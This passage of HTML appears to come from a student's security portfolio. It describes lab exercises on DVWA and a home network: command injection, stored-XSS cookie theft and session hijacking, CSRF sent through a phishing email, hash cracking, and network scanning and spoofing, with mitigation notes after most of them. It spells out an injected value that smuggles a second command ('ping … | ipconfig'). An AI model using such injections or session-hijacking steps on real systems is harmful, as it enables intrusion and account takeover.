</div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran "Hash-identifier" and gave it the hash. This gives me an idea what the hash type might be.</p> <a href="../../img/portfolio/red/CrackHashFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashFile.png" alt=""></a> <p>I placed the has in a file. In this case there's only one hash in there but in reality this list could contain all the hashes from a certain database.</p> <a href="../../img/portfolio/red/CrackHashResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashResult.png" alt=""></a> <p>Now I used "Hashcat" to crack the password using a wordlist called "rockyou". This wordlist contains the most common password based on data breaches in the past. As you can see it cracked the password and it only took 1 second. Do mind that in this case the password was high up in the wordlist. The program only went through 0.03% of the entire wordlist, if the password was much lower in the list this would take a lot longer.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Password cracking</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal14" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network scanning and enumeration</p> <p>To create a demo for this a made up a scenario. The scenario is that I got VPN access to a place I want to hack and I want to know how the network looks like. This is no actual hack but mere a VPN tunnel to my own home.</p> <a href="../../img/portfolio/red/NetworkScanConnVPN.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanConnVPN.png" alt=""></a> <p>So I looked up in which IP range I was so I had a clue from which I could continue.</p> <a href="../../img/portfolio/red/NetworkScanDone.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDone.png" alt=""></a> <p>I did a network scan using NMap in the ip range that I was connected to. As you can see on the left hand side there are some machines that came up in the scan which I could take a look at.</p> <a href="../../img/portfolio/red/NetworkScanTopology.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanTopology.png" alt=""></a> <p>I took a look at the topology of the network first. This is a easy way to get an overview of the network, all with connected routers, AP's and switches. I can also see in this diagram that there are some devices in red which mean they have 6 or more open ports, those devices might be more interesting to me</p> <a href="../../img/portfolio/red/NetworkScanNASHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASHost.png" alt=""></a> <p>I see that this machine is different from the rest, it's the only one running FreeBSD so that might be interesting.</p> <a href="../../img/portfolio/red/NetworkScanNASPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanNASPorts.png" alt=""></a> <p>This machine has open ports for the smb protocol which could mean this is a NAS. I could use this information to go further and get for example access to the samba shares.</p> <a href="../../img/portfolio/red/NetWorkScanRouterHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterHost.png" alt=""></a> <p>Using the before mentioned topology graph I noticed that the router has a lot of open ports as well. Getting into a network's router could give me more access to other parts of the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div 